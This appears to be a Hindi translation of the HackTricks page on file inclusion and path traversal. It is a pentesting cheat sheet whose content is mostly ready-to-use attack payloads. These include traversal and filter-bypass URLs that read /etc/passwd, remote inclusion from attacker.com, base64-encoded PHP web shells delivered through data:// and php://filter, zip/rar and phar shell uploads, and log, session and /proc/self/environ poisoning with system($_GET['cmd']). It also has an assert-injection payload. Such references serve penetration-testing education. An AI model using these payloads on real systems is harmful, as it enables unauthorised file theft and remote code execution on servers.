hacktricks/pentesting-web/file-inclusion
2024-01-01 19:59:09 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated to Hindi 2023-11-06 08:38:02 +00:00
lfi2rce-via-eternal-waiting.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
lfi2rce-via-nginx-temp-files.md Translated to Hindi 2023-11-06 08:38:02 +00:00
lfi2rce-via-php-filters.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
lfi2rce-via-phpinfo.md Translated ['pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md'] to i 2023-12-24 19:13:27 +00:00
lfi2rce-via-segmentation-fault.md Translated to Hindi 2023-11-06 08:38:02 +00:00
lfi2rce-via-temp-file-uploads.md Translated to Hindi 2023-11-06 08:38:02 +00:00
phar-deserialization.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
README.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 19:59:09 +00:00
via-php_session_upload_progress.md Translated to Hindi 2023-11-06 08:38:02 +00:00

फाइल इनक्लूजन/पाथ ट्रैवर्सल

AWS हैकिंग सीखें शून्य से लेकर हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

HackenProof Discord सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

हैकिंग इनसाइट्स
हैकिंग के रोमांच और चुनौतियों के बारे में गहराई से जानकारी प्राप्त करें

रियल-टाइम हैक न्यूज़
रियल-टाइम न्यूज़ और इनसाइट्स के माध्यम से हैकिंग की तेज़-रफ़्तार दुनिया के साथ अपडेट रहें

नवीनतम घोषणाएँ
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें

Discord पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

फाइल इनक्लूजन

रिमोट फाइल इनक्लूजन (RFI): फाइल एक दूरस्थ सर्वर से लोड की जाती है (सर्वश्रेष्ठ: आप कोड लिख सकते हैं और सर्वर इसे निष्पादित करेगा)। PHP में यह डिफ़ॉल्ट रूप से अक्षम है (allow_url_include).
लोकल फाइल इनक्लूजन (LFI): सर्वर एक स्थानीय फाइल लोड करता है।

जब उपयोगकर्ता किसी तरह से उस फाइल को नियंत्रित कर सकता है जो सर्वर द्वारा लोड की जा रही है, तब यह भेद्यता होती है।

भेद्य PHP फंक्शन्स: require, require_once, include, include_once

इस भेद्यता का लाभ उठाने के लिए एक दिलचस्प उपकरण: https://github.com/kurobeats/fimap

ब्लाइंड - इंटरेस्टिंग - LFI2RCE फाइल्स

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

कई *nix LFI सूचियों को मिलाकर और अधिक पथ जोड़कर मैंने यह बनाई है:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

/ को \ से बदलने का भी प्रयास करें
../../../../../ जोड़ने का भी प्रयास करें

फ़ाइल /etc/password को ढूँढने के लिए कई तकनीकों का उपयोग करने वाली सूची (जांचने के लिए कि कमजोरी मौजूद है या नहीं) यहाँ पाई जा सकती है

Windows

कई सूचियों को मिलाकर मैंने बनाई है:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

/ को \ से बदलने का भी प्रयास करें
C:/ को हटाकर ../../../../../ जोड़ने का भी प्रयास करें

फ़ाइल /boot.ini को ढूँढने के लिए कई तकनीकों का उपयोग करने वाली सूची (जांचने के लिए कि कमजोरी मौजूद है या नहीं) यहाँ पाई जा सकती है

OS X

Linux की LFI सूची की जांच करें।

Basic LFI and bypasses

सभी उदाहरण Local File Inclusion के लिए हैं लेकिन Remote File Inclusion पर भी लागू किए जा सकते हैं (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

ट्रैवर्सल सीक्वेंसेस नॉन-रिकर्सिवली स्ट्रिप्ड

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

प्रदान किए गए स्ट्रिंग के अंत में और अक्षर जोड़ने को बायपास करें (बायपास: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

यह PHP 5.4 के बाद से हल किया जा चुका है

एन्कोडिंग

आप डबल URL एन्कोड (और अन्य) जैसे गैर-मानक एन्कोडिंग्स का उपयोग कर सकते हैं:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

मौजूदा फोल्डर से

हो सकता है कि बैक-एंड फोल्डर पथ की जांच कर रहा हो:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

सर्वर पर फोल्डर्स की पहचान करना

एप्लिकेटिव कोड / अनुमत वर्णों के आधार पर, फाइल सिस्टम को पुनरावृत्ति से एक्सप्लोर करना संभव हो सकता है जिसमें केवल फाइल्स ही नहीं बल्कि फोल्डर्स की खोज भी शामिल है। ऐसा करने के लिए:

  • आपकी वर्तमान डायरेक्टरी की "गहराई" की पहचान करें, यदि आप Linux पर हैं तो /etc/passwd को सफलतापूर्वक प्राप्त करके:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  • वर्तमान डायरेक्टरी में एक फोल्डर का नाम अनुमान लगाने का प्रयास करें, फोल्डर का नाम जोड़कर (यहाँ, private), और फिर /etc/passwd में वापस जाएँ:
http://example.com/index.php?page=private/../../../../etc/passwd # we went deeper down one level, so we have to go 3+1=4 levels up to go back to /etc/passwd
  • यदि एप्लिकेशन संवेदनशील है, तो अनुरोध के दो अलग-अलग परिणाम हो सकते हैं:
  • यदि आपको एक त्रुटि / कोई आउटपुट नहीं मिलता है, तो private फ़ोल्डर इस स्थान पर मौजूद नहीं है
  • यदि आपको /etc/passwd से सामग्री मिलती है, तो आपने यह सत्यापित किया है कि वास्तव में आपकी वर्तमान निर्देशिका में एक private फ़ोल्डर है
  • इस तकनीक का उपयोग करके आपने जो फ़ोल्डर(स) खोजे हैं, उन्हें फ़ाइलों के लिए (क्लासिक LFI विधि का उपयोग करके) या सबडायरेक्टरीज़ के लिए उसी तकनीक का पुनरावृत्ति से उपयोग करके fuzzed किया जा सकता है।

फ़ाइल सिस्टम में किसी भी स्थान पर निर्देशिकाओं को खोजने के लिए इस तकनीक को अनुकूलित करना संभव है। उदाहरण के लिए, यदि, उसी परिकल्पना के तहत (फ़ाइल सिस्टम की गहराई 3 पर वर्तमान निर्देशिका) आप /var/www/ में private निर्देशिका होने की जांच करना चाहते हैं, तो निम्नलिखित पेलोड का उपयोग करें:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

निम्नलिखित कमांड्स का अनुक्रम sed (1) का उपयोग करके payloads की उत्पत्ति के लिए अनुमति देता है, जिसे ffuf (2) जैसे url fuzzing टूल्स के लिए इनपुट के रूप में इस्तेमाल किया जा सकता है:

$ sed 's_^_../../../var/www/_g' /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt | sed 's_$_/../../../etc/passwd_g' > payloads.txt
$ ffuf -u http://example.com/index.php?page=FUZZ -w payloads.txt -mr "root"
$ ffuf -u http://owasp.ctf.intigriti.io/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200 -e '.php~,.php.old,.php.bak,.php.swp,.php.sav,.php.save'

बेशक, इन पेलोड्स को आपकी जरूरतों के अनुसार गहराई / स्थान / इनपुट डायरेक्टरी सूची में समायोजित करें।

पथ संकोचन

प्रदान की गई स्ट्रिंग के अंत में और अधिक अक्षरों को जोड़ने की प्रक्रिया को बायपास करें (बायपास करें: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

हमेशा पथ को शुरू करने का प्रयास करें एक नकली डायरेक्टरी के साथ (a/).

यह कमजोरी PHP 5.3 में सही की गई थी.

फिल्टर बायपास ट्रिक्स

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

रिमोट फाइल इनक्लूजन

php में यह डिफ़ॉल्ट रूप से अक्षम होता है क्योंकि allow_url_include ऑफ होता है। इसे काम करने के लिए ऑन होना चाहिए, और उस स्थिति में आप अपने सर्वर से PHP फाइल को इनक्लूड कर सकते हैं और RCE प्राप्त कर सकते हैं:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

यदि किसी कारण से allow_url_include On है, लेकिन PHP बाहरी वेबपेजों तक पहुँच को फ़िल्टरिंग कर रहा है, इस पोस्ट के अनुसार, आप उदाहरण के लिए डेटा प्रोटोकॉल का उपयोग कर सकते हैं बेस64 के साथ एक b64 PHP कोड को डिकोड करने के लिए और RCE प्राप्त कर सकते हैं:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} पिछले कोड में, अंतिम +.txt को जोड़ा गया क्योंकि हमलावर को एक स्ट्रिंग की आवश्यकता थी जो .txt में समाप्त होती है, इसलिए स्ट्रिंग इसके साथ समाप्त होती है और b64 डिकोड के बाद वह हिस्सा केवल अर्थहीन होगा और असली PHP कोड शामिल किया जाएगा (और इसलिए, निष्पादित किया जाएगा)। {% endhint %}

एक और उदाहरण php:// प्रोटोकॉल का उपयोग न करते हुए होगा:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python मूल तत्व

Python में इस तरह के कोड में:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

यदि उपयोगकर्ता file_name को एक संपूर्ण पथ पास करता है, तो पिछला पथ केवल हटा दिया जाता है:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

डॉक्स के अनुसार यह इरादा किया गया व्यवहार है:

यदि कोई घटक एक पूर्ण पथ है, तो सभी पिछले घटकों को फेंक दिया जाता है और पूर्ण पथ घटक से जुड़ना जारी रहता है।

Java सूची निर्देशिकाएँ

ऐसा लगता है कि यदि आपके पास Java में Path Traversal है और आप फाइल के बजाय एक निर्देशिका के लिए पूछते हैं, तो निर्देशिका की सूची वापस कर दी जाती है। यह अन्य भाषाओं में नहीं होगा (जहाँ तक मुझे पता है)।

शीर्ष 25 पैरामीटर

यहाँ शीर्ष 25 पैरामीटरों की सूची है जो स्थानीय फाइल समावेशन (LFI) भेद्यताओं के लिए संवेदनशील हो सकते हैं (लिंक से):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI का उपयोग करते हुए PHP wrappers & protocols

php://filter

PHP फिल्टर्स डेटा पर संशोधन कार्य करने की अनुमति देते हैं इसे पढ़ने या लिखने से पहले। फिल्टर्स की 5 श्रेणियाँ हैं:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: डेटा से टैग्स हटा देता है (जो कुछ भी "<" और ">" चिह्नों के बीच है)
  • ध्यान दें कि यह फिल्टर PHP के आधुनिक संस्करणों से गायब हो गया है
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : अलग एन्कोडिंग में परिवर्तित करता है(convert.iconv.<input_enc>.<output_enc>)। समर्थित सभी एन्कोडिंग्स की सूची प्राप्त करने के लिए कंसोल में चलाएँ: iconv -l

{% hint style="warning" %} convert.iconv.* कन्वर्जन फिल्टर का दुरुपयोग करके आप मनमाना पाठ उत्पन्न कर सकते हैं, जो कि मनमाना पाठ लिखने या जैसे कि include करने के लिए एक फंक्शन को मनमाना पाठ प्रक्रिया करने के लिए उपयोगी हो सकता है। अधिक जानकारी के लिए LFI2RCE via php filters देखें। {% endhint %}

  • Compression Filters
  • zlib.deflate: सामग्री को संपीड़ित करता है (बहुत सारी जानकारी निकालने के लिए उपयोगी)
  • zlib.inflate: डेटा को डिकंप्रेस करता है
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • अन्य फिल्टर्स
  • PHP में var_dump(stream_get_filters()); चलाने से आप कुछ अप्रत्याशित फिल्टर्स पा सकते हैं:
  • consumed
  • dechunk: HTTP chunked encoding को उलट देता है
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} भाग "php://filter" केस इनसेंसिटिव है {% endhint %}

php://fd

यह रैपर प्रक्रिया द्वारा खोले गए फाइल डिस्क्रिप्टर्स तक पहुँचने की अनुमति देता है। खुली हुई फाइलों की सामग्री को बाहर निकालने के लिए संभावित रूप से उपयोगी:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

zip:// और rar://

Zip या Rar फ़ाइल को PHPShell के साथ अपलोड करें और उसे एक्सेस करें।
rar प्रोटोकॉल का दुरुपयोग करने के लिए इसे विशेष रूप से सक्रिय किया जाना चाहिए

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

मजेदार तथ्य: आप http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+ का उपयोग करके XSS ट्रिगर कर सकते हैं और Chrome Auditor को बायपास कर सकते हैं।

ध्यान दें कि यह प्रोटोकॉल php कॉन्फ़िगरेशन allow_url_open और allow_url_include द्वारा प्रतिबंधित है।

expect://

Expect को सक्रिय किया जाना चाहिए। आप इसका उपयोग करके कोड निष्पादित कर सकते हैं।

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST पैरामीटर्स में अपना पेलोड निर्दिष्ट करें

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

phar://

.phar फाइल का उपयोग PHP कोड को निष्पादित करने के लिए भी किया जा सकता है यदि वेब किसी फंक्शन जैसे कि include का उपयोग करके फाइल को लोड कर रहा है।

{% code title="create_phar.php" %}

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

{% endcode %}

और आप phar को निम्नलिखित पंक्ति को निष्पादित करके संकलित कर सकते हैं:

php --define phar.readonly=0 create_path.php

test.phar नामक फाइल बनाई जाएगी जिसका उपयोग आप LFI का दुरुपयोग करने के लिए कर सकते हैं।

यदि LFI केवल फाइल को पढ़ रहा है और उसमें मौजूद php कोड को नहीं चला रहा है, उदाहरण के लिए file_get_contents(), fopen(), file() या file_exists(), md5_file(), filemtime() या filesize()** जैसे फंक्शन्स का उपयोग करते हुए।** आप phar प्रोटोकॉल का उपयोग करते हुए फाइल पढ़ते समय होने वाले deserialization का दुरुपयोग करने की कोशिश कर सकते हैं।
अधिक जानकारी के लिए निम्नलिखित पोस्ट पढ़ें:

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

और प्रोटोकॉल

यहां और संभावित प्रोटोकॉल्स को शामिल करने के लिए देखें:

  • php://memory और php://temp — मेमोरी या एक अस्थायी फाइल में लिखें (यह फाइल इनक्लूजन अटैक में कैसे उपयोगी हो सकता है, यह सुनिश्चित नहीं है)
  • file:// — स्थानीय फाइल सिस्टम तक पहुंच
  • http:// — HTTP(s) URLs तक पहुंच
  • ftp:// — FTP(s) URLs तक पहुंच
  • zlib:// — संपीड़न स्ट्रीम्स
  • glob:// — पैटर्न से मेल खाने वाले पथनाम खोजें (यह कुछ भी प्रिंट करने योग्य नहीं लौटाता, इसलिए यहां वास्तव में उपयोगी नहीं है)
  • ssh2:// — सिक्योर शेल 2
  • ogg:// — ऑडियो स्ट्रीम्स (मनमानी फाइलें पढ़ने के लिए उपयोगी नहीं)

PHP के 'assert' के माध्यम से LFI

यदि आपको एक कठिन LFI का सामना करना पड़ता है जो ".." जैसे ट्रैवर्सल स्ट्रिंग्स को फिल्टर करता प्रतीत होता है और "Hacking attempt" या "Nice try!" जैसे संदेशों के साथ प्रतिक्रिया देता है, तो 'assert' इंजेक्शन पेलोड काम कर सकता है।

इस तरह का पेलोड:

' and die(show_source('/etc/passwd')) or '

सफलतापूर्वक PHP कोड का दोहन करेगा जिसमें "file" पैरामीटर इस प्रकार दिखता है:

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

यह संभव है कि एक संवेदनशील "assert" कथन में system() फ़ंक्शन का उपयोग करके RCE प्राप्त किया जा सके:

' and die(system("whoami")) or '

Payloads को भेजने से पहले उन्हें URL-encode अवश्य करें।

HackenProof Discord सर्वर में शामिल हों और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!

Hacking Insights
हैकिंग के रोमांच और चुनौतियों पर गहराई से जानकारी प्राप्त करें

Real-Time Hack News
रियल-टाइम न्यूज़ और इनसाइट्स के माध्यम से हैकिंग की तेज़ी से बदलती दुनिया के साथ अपडेट रहें

Latest Announcements
नवीनतम बग बाउंटीज़ लॉन्चिंग और महत्वपूर्ण प्लेटफॉर्म अपडेट्स के साथ सूचित रहें

Discord पर हमसे जुड़ें और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!

PHP Blind Path Traversal

{% hint style="warning" %} यह तकनीक उन मामलों में प्रासंगिक है जहां आप file path को नियंत्रित करते हैं जिसे एक PHP function access करेगा लेकिन आप फाइल की सामग्री नहीं देख पाएंगे (जैसे कि file() के साधारण कॉल) लेकिन सामग्री दिखाई नहीं देती है। {% endhint %}

इस अद्भुत पोस्ट में बताया गया है कि कैसे एक ब्लाइंड पाथ ट्रैवर्सल को PHP फिल्टर के माध्यम से दुरुपयोग किया जा सकता है ताकि एक एरर ऑरेकल के माध्यम से फाइल की सामग्री को बाहर निकाला जा सके

संक्षेप में, तकनीक "UCS-4LE" encoding का उपयोग करके फाइल की सामग्री को इतना बड़ा बना देती है कि PHP function फाइल खोलते समय एक एरर ट्रिगर करेगा।

फिर, पहले चर को लीक करने के लिए फिल्टर dechunk का उपयोग किया जाता है और अन्य जैसे कि base64 या rot13 के साथ और अंत में फिल्टर्स convert.iconv.UCS-4.UCS-4LE और convert.iconv.UTF16.UTF-16BE का उपयोग करके अन्य चर्स को शुरुआत में रखा जाता है और उन्हें लीक किया जाता है

जो फंक्शन्स वल्नरेबल हो सकते हैं: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

तकनीकी विवरण के लिए उल्लिखित पोस्ट देखें!

LFI2RCE

Remote File Inclusion

पहले समझाया गया, इस लिंक का अनुसरण करें.

Apache/Nginx लॉग फाइल के माध्यम से

यदि Apache या Nginx सर्वर LFI के लिए वल्नरेबल है तो आप /var/log/apache2/access.log या /var/log/nginx/access.log को एक्सेस करने की कोशिश कर सकते हैं, user agent में या GET पैरामीटर में एक PHP शेल जैसे कि <?php system($_GET['c']); ?> सेट करें और उस फाइल को शामिल करें

{% hint style="warning" %} ध्यान दें कि यदि आप शेल के लिए सिंपल कोट्स के बजाय डबल कोट्स का उपयोग करते हैं, तो डबल कोट्स को स्ट्रिंग "quote;" के लिए संशोधित किया जाएगा, PHP एक एरर फेंकेगा और कुछ भी और नहीं चलेगा

साथ ही, सुनिश्चित करें कि आप payload को सही तरीके से लिखें या PHP हर बार जब लॉग फाइल को लोड करने की कोशिश करेगा तो एरर करेगा और आपको दूसरा मौका नहीं मिलेगा। {% endhint %}

यह अन्य लॉग्स में भी किया जा सकता है लेकिन सावधान रहें, लॉग्स के अंदर का कोड URL encoded हो सकता है और यह शेल को नष्ट कर सकता है। हेडर authorisation "basic" में "user:password" Base64 में होता है और यह लॉग्स के अंदर डिकोड होता है। PHPShell को इस हेडर के अंदर डाला जा सकता है।
अन्य संभावित लॉग पथ:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

ईमेल के माध्यम से

एक मेल भेजें आंतरिक खाते (user@localhost) पर अपना PHP पेलोड <?php echo system($_REQUEST["cmd"]); ?> के साथ और /var/mail/<USERNAME> या /var/spool/mail/<USERNAME> जैसे पथ के साथ उपयोगकर्ता के मेल को शामिल करने का प्रयास करें।

/proc/*/fd/* के माध्यम से

  1. बहुत सारे शेल्स अपलोड करें (उदाहरण के लिए : 100)
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD को शामिल करें, जहाँ $PID = प्रक्रिया का PID (जिसे ब्रूट फोर्स किया जा सकता है) और $FD फाइल डिस्क्रिप्टर (जिसे भी ब्रूट फोर्स किया जा सकता है)।

/proc/self/environ के माध्यम से

लॉग फाइल की तरह, पेलोड को User-Agent में भेजें, यह /proc/self/environ फाइल के अंदर प्रतिबिंबित होगा।

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

अपलोड के माध्यम से

यदि आप फाइल अपलोड कर सकते हैं, तो बस उसमें शेल पेलोड इंजेक्ट करें (उदाहरण: <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

फाइल को पठनीय बनाए रखने के लिए सबसे अच्छा है कि चित्र/doc/pdf के मेटाडेटा में इंजेक्ट किया जाए

ज़िप फाइल अपलोड के माध्यम से

एक ज़िप फाइल अपलोड करें जिसमें एक PHP शेल संकुचित है और पहुँचें:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP सेशन के माध्यम से

जांचें कि क्या वेबसाइट PHP सेशन (PHPSESSID) का उपयोग करती है

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP में ये सत्र /var/lib/php5/sess\[PHPSESSID]_ फाइलों में संग्रहीत किए जाते हैं

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

कुकी को <?php system('cat /etc/passwd');?> में सेट करें।

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI का उपयोग करके PHP सत्र फ़ाइल को शामिल करें

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh के माध्यम से

यदि ssh सक्रिय है, तो जांचें कि कौन सा उपयोगकर्ता प्रयोग किया जा रहा है (/proc/self/status & /etc/passwd) और प्रयास करें <HOME>/.ssh/id_rsa तक पहुँचने का।

vsftpd लॉग्स के माध्यम से

इस FTP सर्वर के लॉग /var/log/vsftpd.log में संग्रहीत होते हैं। यदि आपके पास LFI है और आप एक उजागर vsftpd सर्वर तक पहुँच सकते हैं, तो आप उपयोगकर्ता नाम में PHP पेलोड सेट करके लॉगिन करने का प्रयास कर सकते हैं और फिर LFI का उपयोग करके लॉग्स तक पहुँच सकते हैं।

php base64 फ़िल्टर के माध्यम से (base64 का उपयोग करते हुए)

जैसा कि इस लेख में दिखाया गया है, PHP base64 फ़िल्टर Non-base64 को अनदेखा कर देता है। आप इसका उपयोग फ़ाइल एक्सटेंशन जांच को बायपास करने के लिए कर सकते हैं: यदि आप base64 प्रदान करते हैं जो ".php" के साथ समाप्त होता है, तो यह केवल "." को अनदेखा कर देगा और base64 के अंत में "php" जोड़ देगा। यहाँ एक उदाहरण पेलोड है:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php फिल्टर्स के माध्यम से (फाइल की आवश्यकता नहीं)

यह writeup बताता है कि आप php फिल्टर्स का उपयोग करके मनमानी सामग्री को आउटपुट के रूप में उत्पन्न कर सकते हैं। जिसका मूल रूप से यह मतलब है कि आप बिना फाइल में लिखे include के लिए मनमानी php कोड उत्पन्न कर सकते हैं।

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

सेगमेंटेशन फॉल्ट के माध्यम से

अपलोड करें एक फाइल जो /tmp में अस्थायी रूप से संग्रहीत होगी, फिर उसी अनुरोध में, एक सेगमेंटेशन फॉल्ट ट्रिगर करें, और फिर अस्थायी फाइल हटाई नहीं जाएगी और आप उसे खोज सकते हैं।

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Nginx अस्थायी फाइल संग्रहण के माध्यम से

यदि आपने Local File Inclusion पाया है और Nginx PHP के सामने चल रहा है तो आप निम्नलिखित तकनीक से RCE प्राप्त कर सकते हैं:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

PHP_SESSION_UPLOAD_PROGRESS के माध्यम से

यदि आपने Local File Inclusion पाया है भले ही आपके पास सत्र न हो और session.auto_start Off हो। यदि आप PHP_SESSION_UPLOAD_PROGRESS को multipart POST डेटा में प्रदान करते हैं, PHP आपके लिए सत्र सक्षम कर देगा। आप इसका दुरुपयोग RCE प्राप्त करने के लिए कर सकते हैं:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Windows में अस्थायी फाइल अपलोड्स के माध्यम से

यदि आपने Local File Inclusion पाया है और सर्वर Windows में चल रहा है तो आप RCE प्राप्त कर सकते हैं:

